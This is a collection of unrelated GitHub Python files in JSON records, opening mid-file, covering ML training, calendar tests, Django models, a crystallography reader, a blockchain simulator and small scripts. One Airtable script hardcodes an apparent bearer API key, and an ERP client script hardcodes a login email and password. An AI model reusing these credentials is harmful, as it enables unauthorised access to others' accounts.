= self.rf_scaler.transform(self.rf_settings)\n        if self.normalize_formfactors:\n            self.formfactor_scaler = MinMaxScaler().fit(self.formfactors)\n            self.formfactors = self.formfactor_scaler.transform(self.formfactors)\n        if self.normalize_lengths:\n            self.length_scaler = MinMaxScaler().fit(self.bunch_lengths)\n            self.bunch_lengths = self.length_scaler.transform(self.bunch_lengths)\n\n        self.rf_settings = torch.tensor(self.rf_settings, dtype=torch.float32)\n        self.formfactors = torch.tensor(self.formfactors, dtype=torch.float32)\n        self.bunch_lengths = torch.tensor(self.bunch_lengths, dtype=torch.float32)\n\n    def load_data(\n        self, path: Union[Path, str]\n    ) -> tuple[np.ndarray, np.ndarray, np.ndarray]:\n        \"\"\"\n        Load data saved at `path` from disk and return the parts of it relevant to this\n        dataset.\n        \"\"\"\n        path = Path(path) if isinstance(path, str) else path\n\n        df = pd.read_pickle(path)\n        rf_settings = df[[\"chirp\", \"chirpL1\", \"chirpL2\", \"curv\", \"skew\"]].values\n\n        ss = np.stack(\n            [np.linspace(0, 300 * df.loc[i, \"slice_width\"], num=300) for i in df.index]\n        )\n        bunch_lengths_m = np.expand_dims(ss.max(axis=1) - ss.min(), axis=1)\n\n        currents = np.stack(df[\"slice_I\"].values)\n\n        formfactors = np.array(\n            [\n                current2formfactor(\n                    ss, currents, grating=\"both\", n_shots=1, clean=False\n                )[1]\n                for ss, currents in zip(ss, currents)\n            ]\n        )\n\n        return rf_settings, formfactors, bunch_lengths_m\n\n    def __len__(self) -> int:\n        return len(self.bunch_lengths)\n\n    def __getitem__(\n        self, index: int\n    ) -> tuple[tuple[torch.Tensor, torch.Tensor], torch.Tensor]:\n        rf_setting = self.rf_settings[index]\n        formfactor = self.formfactors[index]\n        bunch_length = self.bunch_lengths[index]\n\n        return (rf_setting, formfactor), bunch_length\n\n\nclass LengthReconstructor(pl.LightningModule):\n    \"\"\"Neural networks for reconstructing currents at EuXFEL.\"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n\n        self.mlp = nn.Sequential(\n            nn.Linear(5 + 240, 200),\n            nn.ReLU(),\n            nn.Linear(200, 100),\n            nn.ReLU(),\n            nn.Linear(100, 50),\n            nn.ReLU(),\n            nn.Linear(50, 1),\n            nn.ReLU(),\n        )\n\n    def forward(\n        self, rf_settings: torch.Tensor, formfactors: torch.Tensor\n    ) -> torch.Tensor:\n        concatenated = torch.cat([rf_settings, formfactors], dim=1)\n        bunch_length = self.mlp(concatenated)\n        return bunch_length\n\n    def configure_optimizers(self) -> torch.optim.Optimizer:\n        return torch.optim.Adam(self.parameters(), lr=1e-3)\n\n    def training_step(self, train_batch: torch.Tensor, batch_idx: int) -> torch.Tensor:\n        (rf_settings, formfactors), bunch_lengths = train_batch\n        predictions = self.forward(rf_settings, formfactors)\n        loss = F.mse_loss(predictions, bunch_lengths)\n        self.log(\"train/loss\", loss)\n        mae = F.l1_loss(predictions, bunch_lengths)\n        self.log(\"train/mae\", mae)\n        return loss\n\n    def validation_step(self, val_batch: torch.Tensor, batch_idx: int) -> torch.Tensor:\n        (rf_settings, formfactors), bunch_lengths = val_batch\n        predictions = self.forward(rf_settings, formfactors)\n        loss = F.mse_loss(predictions, bunch_lengths)\n        self.log(\"val/loss\", loss)\n        mae = F.l1_loss(predictions, bunch_lengths)\n        self.log(\"val/mae\", mae)\n        return loss\n\n\ndef main() -> None:\n    dataset = LengthReconstructionDataset(\"data/zihan/data_20220905.pkl\")\n    train_dataset, val_dataset = random_split(dataset, [0.8, 0.2])\n\n    train_loader = DataLoader(\n        train_dataset, batch_size=64, shuffle=True, num_workers=40\n    )\n    val_loader = DataLoader(val_dataset, batch_size=64, num_workers=40)\n\n    model = LengthReconstructor()\n\n    wandb_logger = WandbLogger(project=\"ml-lps-recon-length\")\n\n    trainer = pl.Trainer(max_epochs=1000, accelerator=\"auto\", logger=wandb_logger)\n    trainer.fit(model, train_loader, val_loader)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jank324/spectral-vd-euxfel","sub_path":"train_length_reconstructor.py","file_name":"train_length_reconstructor.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74208867299","text":"from bs4 import BeautifulSoup\nimport pytest\n\nfrom app.routers.event import create_event\nfrom app.routers.weekview import get_week_dates\n\n\ndef create_weekview_event(events, session, user):\n    for event in events:\n        create_event(\n            db=session,\n            title='test',\n            start=event.start,\n            end=event.end,\n            owner_id=user.id,\n            color=event.color\n        )\n\n\ndef test_get_week_dates(weekdays, sunday):\n    week_dates = list(get_week_dates(sunday))\n    for i in range(6):\n        assert week_dates[i].strftime('%A') == weekdays[i]\n\n\ndef test_weekview_day_names(session, user, client, weekdays):\n    response = client.get(\"/week/2021-1-3\")\n    soup = BeautifulSoup(response.content, 'html.parser')\n    day_divs = soup.find_all(\"div\", {\"class\": 'day-name'})\n    for i in range(6):\n        assert weekdays[i][:3].upper() in str(day_divs[i])\n\n\ndef test_weekview_day_dates(session, user, client, sunday):\n    response = client.get(\"/week/2021-1-3\")\n    soup = BeautifulSoup(response.content, 'html.parser')\n    day_divs = soup.find_all(\"span\", {\"class\": 'date-nums'})\n    week_dates = list(get_week_dates(sunday))\n    for i in range(6):\n        time_str = f'{week_dates[i].day} / {week_dates[i].month}'\n        assert time_str in day_divs[i]\n\n\n@pytest.mark.parametrize(\n    \"date,event\",\n    [(\"2021-1-31\", 'event1'),\n     (\"2021-1-31\", 'event2'),\n     (\"2021-2-3\", 'event3')]\n)\ndef test_weekview_html_events(\n    event1, event2, event3, session, user, client, date, event\n):\n    create_weekview_event([event1, event2, event3], session=session, user=user)\n    response = client.get(f\"/week/{date}\")\n    soup = BeautifulSoup(response.content, 'html.parser')\n    assert event in str(soup.find(\"div\", {\"id\": event}))\n","repo_name":"PythonFreeCourse/calendar","sub_path":"tests/test_weekview.py","file_name":"test_weekview.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"35"}
{"seq_id":"23244975","text":"from source.responce.json_parts.excerpt_boundaries import ExcerptBoundaries\n\n\nclass FoundComponent:\n\n    \"\"\"\n    Компоненты, которым найден отрывок текта\n    \"\"\"\n\n\n    def __init__(self, component_name, indices):\n        self.component_name = component_name\n        self.indices = indices\n\n    @classmethod\n    def get_found_components(cls, text, final_components):\n        # запаковываем найденные компоненты\n        found_components = []\n        for component_name, component in final_components.items():\n            name = component_name\n            component_boundaries = []\n            for excerpt in component.excerts:\n                boundaries = ExcerptBoundaries.get_excerpt_boundaries(text, excerpt)\n                component_boundaries.append(boundaries)\n            found_components.append(FoundComponent(component_name=name, indices=component_boundaries))\n        return found_components\n\n\n\n\n\nif __name__ == '__main__':\n\n    name = \"assign\"\n    indices = (ExcerptBoundaries(0, 20), ExcerptBoundaries(177, 196))\n    found_component = FoundComponent(component_name=name, indices=indices)\n","repo_name":"NenausnikovKV/text_splitting_json","sub_path":"source/responce/json_parts/found_component.py","file_name":"found_component.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5339884795","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy as _\nfrom ecommerce.catalogue.models import Product\nfrom ecommerce.suppliers.models import Supplier\n\n\nclass StockRecord(models.Model):\n    date_created = models.DateTimeField(_(\"Date created\"),\n                                        auto_now_add=True)\n\n    date_updated = models.DateTimeField(_(\"Date Updated\"),\n                                        auto_now=True)\n\n    date_deleted = models.DateTimeField(_(\"Date Deleted\"),\n                                        null=True)\n\n    product = models.OneToOneField(\n        Product,\n        on_delete=models.CASCADE,\n        related_name=\"Stock record of\")\n\n    supplier = models.ForeignKey(\n        Supplier, on_delete=models.CASCADE,\n        related_name=\"Seller of\"\n    )\n\n    price = models.DecimalField(\n        _(\"Price\"), decimal_places=2, max_digits=12,\n        blank=True, null=True)\n\n    num_in_stock = models.PositiveIntegerField(\n        _(\"Number in stock\"), blank=True, null=True)\n\n    num_allocated = models.IntegerField(\n        _(\"Number allocated\"), blank=True, null=True,\n        help_text=\"Number of products allocated to order\")\n\n    low_stock_threshold = models.PositiveIntegerField(\n        _(\"Low Stock Threshold\"), blank=True, null=True,\n        help_text=\"\"\"Threshold for low-stock alerts.  When\n                  stock goes beneath this threshold an \n                  alert is triggered so warehouse managers\n                  can order more.\"\"\")\n\n    class Meta:\n        app_label = 'dashboard'\n        verbose_name = _(\"Stock record\")\n        verbose_name_plural = _(\"Stock records\")\n\n    def __str__(self):\n        return f\"{self.num_in_stock} {self.product} provided by {self.supplier}\"\n","repo_name":"mojtaba-sfrz/E-commerce","sub_path":"ecommerce/dashboard/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22001545768","text":"#%%\nimport pandas as pd\nimport numpy as np\nimport tkinter as tk\nfrom tkinter import filedialog as fd\nfrom io import StringIO\nimport re\n\n#%%\n\nprint(\"This program reads bond lengths and angles from .cif files and saves them as a .txt to copy from.\")\nprint(\"For this to work, the atoms need to be named [element][number][letter for disorders].\")\nprint(\"Please check the output files, if all required data is included.\")\ninput(\"Press Enter to continue...\")\nroot = tk.Tk()\nfilename = fd.askopenfilename()\nfile_list = filename.split(\"/\")\npath = \"/\".join(file_list[:-1]) +\"/\"\nroot.destroy()\n\n#%%\n\ndef extract_lines(start, lines):\n    result = []\n    for line in lines[start:]:\n        if len(line) <= 3:\n            break\n        else:\n            result.append(line)\n    return result\n\nfile = open(filename, \"r\")\nlines = file.readlines()\ndist = []\nangles = [] \n\n#############################################################################\n\ndist_start = (lines.index(\"  _geom_bond_distance\\n\") + 3)\ndist = extract_lines(dist_start, lines)\n\ndist= \"\".join(dist)\ndist_table = pd.read_csv(StringIO(dist), delimiter = \" \", header = None)\ndist_table = dist_table.drop(columns = [0, 4, 5])\ndist_table.columns = [\"Atom A\", \"Atom B\", \"Distance\"]\n\nprint(dist_table)\n\n#############################################################################\n\nangle_start = (lines.index(\"  _geom_angle\\n\") + 4)\nangles = extract_lines(angle_start, lines)\n\nangles = \"\".join(angles)\nangles_table = pd.read_csv(StringIO(angles), delimiter = \" \", header = None)\nangles_table = angles_table.drop(columns = [0, 5, 6, 7])\nangles_table.columns = [\"Atom A\", \"Atom B\", \"Atom C\", \"Angle\"]\n\nprint(angles_table)\n\n# %%\n\ndef is_in_elements(value):\n    clean_value = []\n    for character in value:\n        if character.isnumeric():\n            break\n        clean_value.append(character)\n        \n    clean_value = \"\".join(clean_value)\n    for element in elements:\n        if clean_value == element:\n            return True\n    return False\n\ndef clean_element(value):\n    clean_value = []\n    for character in value:\n        if character.isnumeric():\n            break\n        clean_value.append(character)\n        \n    clean_value = \"\".join(clean_value)\n    return clean_value\n\ndef disorder(value):\n    if value[-1].isnumeric():\n        return None\n    else: \n        return value[-1]\n\ndef same_disorder(rows):\n    disorders = [disorder(r) for r in rows]\n    none_count = sum(d == None for d in disorders)\n\n    if none_count >= len(rows) - 1:\n        return True\n    \n    x_num = None\n    for x in disorders:\n        if x != None:\n            x_num = x\n            break\n    for x in disorders:\n        if x != x_num and x != None:\n            return False\n    return True\n\nelements = input(\"Bond of interest (e.g. C-H): \").split(\"-\")\n\ndist_roi = []\n\nwhile \"\".join(elements) != \"stop\":\n    atom_a = elements[0]\n    atom_b = elements[1]\n\n    for _,row in dist_table.iterrows():\n        d0 = disorder(row[0])\n        d1 = disorder(row[1])\n\n        if not same_disorder([row[0], row[1]]):\n            continue\n\n        c0 = clean_element(row[0])\n        c1 = clean_element(row[1])\n\n        if (\n        (atom_a == c0 and atom_b == c1)\n        or (atom_b == c0 and atom_a == c1)\n        ):\n            dist_roi.append(row)\n\n    print(f\"Bond {'-'.join(elements)} added. Type another bond or type stop if done.\")\n    elements = input(\"Bonds of interest (e.g. C-H): \").split(\"-\")\n                   \ndist_roi_table = pd.DataFrame(dist_roi)\ndist_roi_string = dist_roi_table.to_string(header = False, index = False, index_names = False).split(\"\\n\")\ndist_roi_string2 = []\nfor x in dist_roi_string:\n    x2 = \" \".join(x.split())\n    dist_roi_string2.append(x2)\ndist_roi_string = \", \".join(dist_roi_string2)\n\nprint(dist_roi_string)\nprint(\"Bonds done. Continue with angles.\")\n\n#######################################################################################\n\nelements = input(\"Angles of interest (e.g. H-C-H): \").split(\"-\")\n\nangles_roi = []\n\nwhile \"\".join(elements) != \"stop\":\n    atom_a = elements[0]\n    atom_b = elements[1]\n    atom_c = elements[2]\n\n    for _,row in angles_table.iterrows():\n        if same_disorder([row[0], row[1], row[2]]):\n            c0 = clean_element(row[0])\n            c1 = clean_element(row[1])\n            c2 = clean_element(row[2])\n            if ((atom_a == c0 and atom_b == c1 and atom_c == c2)\n            or (atom_a == c2 and atom_b == c1 and atom_c == c0)):\n                angles_roi.append(row)\n\n    print(f\"Angle {'-'.join(elements)} added. Type another angle or type stop if done.\")\n    elements = input(\"Angles of interest (e.g. H-C-H): \").split(\"-\")\n                   \nangles_roi_table = pd.DataFrame(angles_roi)\nangles_roi_string = angles_roi_table.to_string(header = False, index = False, index_names = False).split(\"\\n\")\nangles_roi_string2 = []\nfor x in angles_roi_string:\n    x2 = \" \".join(x.split())\n    angles_roi_string2.append(x2)\nangles_roi_string = \", \".join(angles_roi_string2)\n\nprint(angles_roi_string)\n\noutput_string = dist_roi_string + \", \" + angles_roi_string\n\nwith open(\"XRD Reader Output.txt\", \"w\") as f:\n    f.write(output_string)\nprint(\"Output file generated.\")\ninput(\"Press Enter to continue...\")\n\n# %%","repo_name":"DavidPrtft/x-ray-reader","sub_path":"XRD Reader.py","file_name":"XRD Reader.py","file_ext":"py","file_size_in_byte":5213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19600233762","text":"import logging\nimport sys\nfrom multiprocessing import freeze_support\nfrom pathlib import Path\nfrom typing import Optional, Dict, List, Tuple\n\nfrom flax.full_node.full_node import FullNode\nfrom flax.server.outbound_message import NodeType\nfrom flax.server.start_service import Service, async_run\nfrom flax.simulator.simulator_full_node_rpc_api import SimulatorFullNodeRpcApi\nfrom flax.types.blockchain_format.sized_bytes import bytes32\nfrom flax.util.bech32m import decode_puzzle_hash\nfrom flax.util.flax_logging import initialize_logging\nfrom flax.util.config import load_config_cli, override_config, load_config\nfrom flax.util.default_root import DEFAULT_ROOT_PATH\nfrom flax.simulator.block_tools import BlockTools, test_constants\nfrom flax.util.ints import uint16\nfrom flax.simulator.full_node_simulator import FullNodeSimulator\n\n# See: https://bugs.python.org/issue29288\n\"\".encode(\"idna\")\n\nSERVICE_NAME = \"full_node\"\nlog = logging.getLogger(__name__)\nPLOTS = 3  # 3 plots should be enough\nPLOT_SIZE = 19  # anything under k19 is a bit buggy\n\n\ndef create_full_node_simulator_service(\n    root_path: Path,\n    config: Dict,\n    bt: BlockTools,\n    connect_to_daemon: bool = True,\n    override_capabilities: List[Tuple[uint16, str]] = None,\n) -> Service[FullNode]:\n    service_config = config[SERVICE_NAME]\n    constants = bt.constants\n\n    node = FullNode(\n        config=service_config,\n        root_path=root_path,\n        consensus_constants=constants,\n    )\n\n    peer_api = FullNodeSimulator(node, bt, config)\n    network_id = service_config[\"selected_network\"]\n    return Service(\n        root_path=root_path,\n        config=config,\n        node=node,\n        peer_api=peer_api,\n        node_type=NodeType.FULL_NODE,\n        advertised_port=service_config[\"port\"],\n        service_name=SERVICE_NAME,\n        server_listen_ports=[service_config[\"port\"]],\n        on_connect_callback=node.on_connect,\n        network_id=network_id,\n        rpc_info=(SimulatorFullNodeRpcApi, service_config[\"rpc_port\"]),\n        connect_to_daemon=connect_to_daemon,\n        override_capabilities=override_capabilities,\n    )\n\n\nasync def async_main(test_mode: bool = False, automated_testing: bool = False, root_path: Path = DEFAULT_ROOT_PATH):\n    # Same as full node, but the root_path is defined above\n    config = load_config(root_path, \"config.yaml\")\n    service_config = load_config_cli(root_path, \"config.yaml\", SERVICE_NAME)\n    config[SERVICE_NAME] = service_config\n    # THIS IS Simulator specific.\n    fingerprint: Optional[int] = None\n    farming_puzzle_hash: Optional[bytes32] = None\n    plot_dir: str = \"simulator/plots\"\n    if \"simulator\" in config:\n        overrides = {}\n        plot_dir = config[\"simulator\"].get(\"plot_directory\", \"simulator/plots\")\n        if config[\"simulator\"][\"key_fingerprint\"] is not None:\n            fingerprint = int(config[\"simulator\"][\"key_fingerprint\"])\n        if config[\"simulator\"][\"farming_address\"] is not None:\n            farming_puzzle_hash = decode_puzzle_hash(config[\"simulator\"][\"farming_address\"])\n    else:  # old config format\n        overrides = {\n            \"full_node.selected_network\": \"testnet0\",\n            \"full_node.database_path\": service_config[\"simulator_database_path\"],\n            \"full_node.peers_file_path\": service_config[\"simulator_peers_file_path\"],\n            \"full_node.introducer_peer\": {\"host\": \"127.0.0.1\", \"port\": 58555},\n        }\n    overrides[\"simulator.use_current_time\"] = True\n\n    # create block tools\n    bt = BlockTools(\n        test_constants,\n        root_path,\n        config_overrides=overrides,\n        automated_testing=automated_testing,\n        plot_dir=plot_dir,\n    )\n    await bt.setup_keys(fingerprint=fingerprint, reward_ph=farming_puzzle_hash)\n    await bt.setup_plots(num_og_plots=PLOTS, num_pool_plots=0, num_non_keychain_plots=0, plot_size=PLOT_SIZE)\n    # Everything after this is not simulator specific, excluding the if test_mode.\n    initialize_logging(\n        service_name=SERVICE_NAME,\n        logging_config=service_config[\"logging\"],\n        root_path=root_path,\n    )\n    service = create_full_node_simulator_service(root_path, override_config(config, overrides), bt)\n    if test_mode:\n        return service\n    await service.setup_process_global_state()\n    await service.run()\n    return 0\n\n\ndef main() -> int:\n    freeze_support()\n    return async_run(async_main())\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"Flax-Network/flax-blockchain","sub_path":"flax/simulator/start_simulator.py","file_name":"start_simulator.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"35"}
{"seq_id":"37349545206","text":"import requests\nimport json\n\nget_headers = {\n    'Authorization': 'Bearer keydq2SURfHCN4Aig'\n    }\n\nurl = 'https://api.airtable.com/v0/appJeyihmd9jyLKy1/TableNew?maxRecords=100&view=Orders'\nresponse = requests.get(url, headers=get_headers)\n# print(donors_response)\ndata = response.json()\n# print(data.keys())\n# print((type(data)))\n\ndumps = json.dumps(data)\n# print(type(dumps))\nairtable_order_id = []\nairtable_order_status = []\norders_dict = {}\n\n\nfor j in data['records']:\n    airtable_order_id.append(j['fields']['OrderId'])\n    airtable_order_status.append(j['fields']['OrderStatus'])\n\n# print(airtable_order_id)\n# print(airtable_order_status)\n\n# dict(list(enumerate(values)))\n\nairtable_dict = dict(zip(airtable_order_id,airtable_order_status))\nprint(\"airtable_dict : \", airtable_dict)\n    \n# for j in data['records']:\n#     Orders_list.append(j['fields']['OrderId'])\n\n# print(Orders_list)\n\n# sample = f'''{{'order_id': 400}}'''\n\n# update_url = 'https://api.airtable.com/v0/appJeyihmd9jyLKy1/TableNew?maxRecords=20&view=Orders'\n# update_headers = {\n#     'Authorization': 'Bearer keydq2SURfHCN4Aig',\n#     'Content-Type': 'application/json'\n# }\n# update_data = {\n#     \"fields\": {\n#     # \"Name\": 33,\n#     \"OrderValue\": sample,\n#     \"OrderId\": 40,\n#     },\n# #   \"createdTime\": \"2021-01-02T20:33:49.000Z\"\n# }\n\n# # print(update_data)\n# update_response = requests.post(update_url, headers=update_headers, json=update_data)\n\n\n\n# url= 'http://192.168.43.8/cam-lo.jpg'\n\n# while True:\n#     image = urllib.request.urlopen(url)\n#     imgnp = np.array(bytearray(image.read()),dtype=np.uint8)\n#     img = cv2.imdecode(imgnp, -1)\n#     for qrcode in decode(img):\n#         myData = qrcode.data.decode('utf-8')\n#         print(\"mydata : \", myData)\n#         file1 = open('sample.txt','a')\n#         file1.write(myData)         \n#         file1.write(\"\\n\") \n#         update_url = 'https://api.airtable.com/v0/appJeyihmd9jyLKy1/Table?maxRecords=20&view=Orders'\n#         update_headers = {\n#             'Authorization': 'Bearer keydq2SURfHCN4Aig',\n#             'Content-Type': 'application/json'\n#         }\n#         update_data = {\n#             \"fields\": {\n#             # \"Name\": 33,\n#             \"OrderId\": myData\n#         },\n#         #   \"createdTime\": \"2021-01-02T20:33:49.000Z\"\n#         }\n        \n#         # print(update_data)\n#         update_response = requests.post(update_url, headers=update_headers, json=update_data)\n#         pts = np.array([qrcode.polygon],np.int32)\n#         pts = pts.reshape((-1,1,2))\n#         cv2.polylines(img,[pts],True,(51,255,255),5)\n#         pts2 = qrcode.rect\n#         cv2.putText(img,myData,(pts2[0],pts2[1]), cv2.FONT_HERSHEY_SIMPLEX,0.9,(51,255,255),2)\n#     cv2.imshow('Result : ', img)\n#     cv2.waitKey(1)\n# cap.release()","repo_name":"prashik-ganer/deployment","sub_path":"shop/airtable.py","file_name":"airtable.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"777776522","text":"\n\nclass MonthlyDataResource(dict):\n    def __init__(self, date, item):\n        super().__init__(\n            timestamp=int(date.timestamp()),\n            month=date.strftime('%Y-%m'),\n            value=round(item['guess_consumption'], 2),\n            cumulative_value=round(item['cumulative_guess_consumption'], 2),\n        )\n","repo_name":"CambridgeAltFin/ccaf_cbeci_api","sub_path":"api/resources/data/monthly_data_resource.py","file_name":"monthly_data_resource.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"3837990577","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n#   File Name：     demo_post\n#   Author :        lumi\n#   date：          2019/11/26\n#   Description :\n'''\n# - Custom package\n\n# - Third party module of python\n\n# - import odoo package\n\nimport requests\nimport json\nimport time\nhost = '127.0.0.1'\nprotocol = 'jsonrpc'\nport = '8069'\n\nhost = 'erp.aqara.com'\nprotocol = 'https'\nport = '443'\n\nrequest_data = {\n    'params': {'db': 'erp',\n               'login': 'miao.yu@aqara.com',\n               'password': '123123123',\n               'sn': '325/00000522'}\n}\nheaders = {\n    'Content-Type': 'application/json',\n}\n\nif protocol == 'jsonrpc':\n    scheme = 'http'\nelse:\n    scheme = 'https'\nurl = '%s://%s:%s/api/post/iface/get/zigbee' % (scheme, host, port)\nprint(url)\nstart_time = time.time()\nresponse = requests.post(url, data=json.dumps(request_data), headers=headers, timeout=100)\nif not response:\n    exit()\nresponse_json = json.loads(response.text)\nprint(response_json)\nif response_json.get('error'):\n    raise Exception(response_json.get('error').get('data').get('message'))\nresult = json.loads(response_json.get('result'))\nend_time = time.time()\nprint(end_time-start_time)\n\n","repo_name":"oyjs1989/printbarcode","sub_path":"dll/demo_post.py","file_name":"demo_post.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7657672190","text":"#!/usr/bin/env python\n\nimport os\nimport argparse\n\nimport yaml\nimport cogamo.cogamo as cogamo\n\n__author__ = 'Teruaki Enoto'\n__version__ = '1.0'\n# v1.0, 2022-03-26, the first version\n\ndef get_parser():\n\t\"\"\"\n\tCreates a new argument parser.\n\t\"\"\"\n\tparser = argparse.ArgumentParser(\n\t\tprog=\"cgm_fit_phaspec_line.py\",\n\t\tusage='%(prog)s input_csv',\n\t\tdescription=\"\"\"\nextract xspec pha spectrum from a Cogamo detector rawcsv event file.\n\"\"\"\t)\n\tversion = '%(prog)s ' + __version__\n\tparser.add_argument('input_rawcsv', type=str, \n\t\thelp='input rawcsv event file.')\n\tparser.add_argument('--pha_min', type=int, \n\t\thelp='input pha_min', default=40)\n\tparser.add_argument('--pha_max', type=int, \n\t\thelp='input pha_max', default=100)\t\n\tparser.add_argument('--binning', type=int, \n\t\thelp='input binning', default=2)\t\t\n\tparser.add_argument('--peak', type=float, \n\t\thelp='input peak', default=60)\n\tparser.add_argument('--sigma', type=float, \n\t\thelp='input sigma', default=3)\t\n\tparser.add_argument('--area', type=float, \n\t\thelp='input area', default=100)\t\n\tparser.add_argument('--c0', type=float, \n\t\thelp='input c0', default=100)\t\n\tparser.add_argument('--c1', type=float, \n\t\thelp='input c1', default=-1.0)\n\tparser.add_argument('--fit_nsigma', type=float, \n\t\thelp='input fit_nsigma', default=3)\t\n\tparser.add_argument('--flag_hist', type=bool, \n\t\thelp='input flag_hist', default=False)\t\t\n\tparser.add_argument('--name', type=str, \n\t\thelp='input name', default=None)\t\t\t\t\t\t\t\n\treturn parser\n\ndef main(args=None):\n\tparser = get_parser()\n\targs = parser.parse_args(args)\n\n\tevtdata = cogamo.EventData(args.input_rawcsv)\n\tpar = evtdata.fit_phaspec_line(\n\t\tpha_min=args.pha_min,\n\t\tpha_max=args.pha_max,\n\t\tbinning=args.binning,\n\t\tpeak=args.peak,\n\t\tsigma=args.sigma,\n\t\tarea=args.area,\n\t\tc0=args.c0,\n\t\tc1=args.c1,\n\t\tflag_hist=args.flag_hist,\n\t\tfit_nsigma=args.fit_nsigma,\n\t\tname=args.name,\n\t\tMeV=None)\n\tprint(par)\n\n\tyamlfile = '%s_fit.yaml' % os.path.splitext(os.path.basename(args.input_rawcsv))[0]\n\n\twith open(yamlfile, 'w') as outfile:\n\t    yaml.dump(par, outfile, default_flow_style=True)\n\nif __name__==\"__main__\":\n\tmain()","repo_name":"tenoto/cogamo","sub_path":"cogamo/cli/cgm_fit_phaspec_line.py","file_name":"cgm_fit_phaspec_line.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"8718059430","text":"n, cnt = int(input()), 0\ntarget = False\na = list(map(int, input().split()))\nfor i in range(n):\n    if(i == 0): continue\n    if(a[i] == a[i-1]):\n        target = True\n        \nif(target): print(\"YES\")\nelse:print(\"NO\")","repo_name":"TheKassaY/Web-Dev","sub_path":"lab7/Task1/informatics/d/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2814601604","text":"import pygame\nimport os\nfrom Spritesheet import SpriteSheet\n\nGREEN = (0, 255, 0)\nBLACK = (0, 0, 0)\nWIDTH = 640\nHEIGHT = 480\n\n\nclass Enemy(pygame.sprite.Sprite):\n    def __init__(self, x_pos, y_pos):\n        pygame.sprite.Sprite.__init__(self)\n        game_folder = os.path.dirname(__file__)\n        img_folder = os.path.join(game_folder, 'img')\n        player_img = pygame.image.load(os.path.join(img_folder, 'enemy.png')).convert()\n        player_img = pygame.transform.rotate(player_img, 180)\n        player_img = pygame.transform.scale(player_img, (50, 50))\n        self.image = player_img\n        transColor = self.image.get_at((0, 0))\n        self.image.set_colorkey(transColor)\n        # self.image.set_colorkey(BLACK)\n        self.rect = self.image.get_rect()\n        self.rect.center = (x_pos + 25, y_pos)\n        self.on_screen = True\n        self.is_hit = False\n        self.blast_images = SpriteSheet(img_folder + \"/explosion.png\")\n        self.blast_animation_step = 0\n\n    def set_position(self, x_pos, y_pos):\n        self.rect.x = x_pos\n        self.rect.y = y_pos\n\n    def get_position(self):\n        return self.rect.x, self.rect.y\n\n    def is_on_screen(self):\n        return self.on_screen\n\n    def launch(self, x_pos, y_pos):\n        if self.on_screen:\n            return Enemy(x_pos, y_pos)\n        # self.on_screen = True\n        # self.set_position(x_pos, y_pos)\n\n    def update(self):\n        if not self.is_hit:\n            return\n        self.image = self.blast_images.image_at(\n            (self.blast_animation_step * 32, 0, 32, 32), )\n        transColor = self.image.get_at((0, 0))\n        self.image.set_colorkey(transColor)\n        self.blast_animation_step += 1\n        if self.blast_animation_step == 8:\n            self.blast_animation_step = 0\n            self.is_hit = False\n            self.on_screen = False\n","repo_name":"namoaton/jetson_test_ai_game","sub_path":"game_client/Enemy.py","file_name":"Enemy.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"21325605145","text":"#export muti FBX\r\n\r\n\r\ndef exportObject():\r\n    obj = hou.node(\"/obj\")\r\n    path = r\"D:\\python_houdini\\export_pratice\\export_pratice\"\r\n    path = path.replace(\"\\\\\",\"/\")\r\n    children = obj.children()\r\n    \r\n    for node in children:\r\n        nodename = node.name()\r\n        finalpath = path + nodename + \".fbx\"\r\n        node.parm(\"sopoutput\").set(finalpath)\r\n        node.parm(\"execute\").pressButton()\r\n        \r\n","repo_name":"HongYuHu/houdini-python","sub_path":"MutiExportFbx.py","file_name":"MutiExportFbx.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
